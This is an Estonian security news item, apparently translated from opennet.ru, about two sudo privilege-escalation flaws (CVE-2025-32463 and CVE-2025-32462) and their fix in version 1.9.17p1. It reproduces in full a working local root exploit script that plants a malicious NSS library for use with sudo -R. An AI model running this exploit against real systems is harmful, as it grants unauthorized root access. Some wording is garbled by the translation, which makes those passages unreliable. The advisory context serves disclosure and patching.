Sudo pakki, mida kasutatakse käskude täitmiseks teiste kasutajate nimel, sisaldab haavatavust (CVE-2025-32463), mis võimaldab mistahes privileegideta kasutajal käivitada koodi root-juhina, isegi kui kasutajat ei ole sudoers konfiguratsioonis mainitud. Probleem puudutab distributsioone, mis kasutavad konfiguratsioonifaili /etc/nsswitch.conf, näiteks on haavatavuse ärakasutamise võimalus tõestatud Ubuntu 24.04 ja Fedora 41 puhul.
Haavatavus avaldub vaikeseades ja on kinnitatud sudo väljaannetes alates 1.9.14 kuni 1.9.17 (võib mõjutada kõiki versioone alates 1.8.33). Probleem on lahendatud sudo uuenduses 1.9.17p1. Uue versiooni paketi või paranduse olekut distributsioonides saab kontrollida järgmistes lingides (kui leht ei ole saadaval, siis arendajad ei ole veel probleemi käsitlemisega alustanud): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo ja Arch (1, 2).
Probleem on tingitud sellest, et kui kasutada valikut „-R” („—chroot”) käskude käivitamiseks chroot-keskkonnas valitud juurkatalooge, laaditi fail /etc/nsswitch.conf uue juurkatalooga kontekstis, mitte süsteemi kataloogist. Kuna kasutaja võib oma chroot'i juurkataloogina kasutada oma katalooge, võib ta seal paikneda ka nsswitch.conf konfiguratsioonifail. Kontrollides NSS (Name Service Switch) allalaaditud faili /etc/nsswitch.conf, saab kasutaja lisada sellesse seadeid, mis toovad kaasa täiendavate töötlejate kutsumise. Sellised töötlejad laetakse NSS-i kaudu jagatud teekide kujul, mis võivad samuti asuda kasutaja kontrolli all olevas kataloogis. Asendades oma teegi, saab kasutaja tagada, et sellel oleks juurõigustes koodi täitmine, kuna NSS-i töötlemine toimub enne privileegide tühistamist.
Näidis eksploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
Sudo versioonis 1.9.17p1 on samuti kõrvaldatud teine haavatavus (CVE-2025-32462), mis võimaldab käivitada käske root-õigustega, kuid mis avaldub ainult muddyudsudoers konfiguratsioonides, kus "host" parameeter on seadistatud väärtusele, mis erineb ALL-st või praeguse hosti nimest. Haavatavus on põhjustatud veast, mis lubas "-h" ("—host") valikut kasutada mitte ainult koos "-l" ("—list") valikuga, et kuvada hostiga seotud privileege, vaid ka käskude käivitamisel. Seega sai kasutaja sudo käivitamisel märkida mis tahes hosti ja kringida sudoers reeglite hosti nime järgi seatud piiranguid.
Rünne rünnakuks peab kasutaja olema sudoers-failis, näiteks kui seadistustes on märgitud „testuser testhost = ALL“, siis sai kasutaja „testuser“ käivitada käske juurõigustega mistahes hostides, mitte ainult hostis testhost. Haavatavused ei mõjuta konfiguratsiooni, kus seaded on kujul „testuser ALL = ALL“ või ilma selgete reegliteta konkreetse kasutaja jaoks.
Allikas: opennet.ru
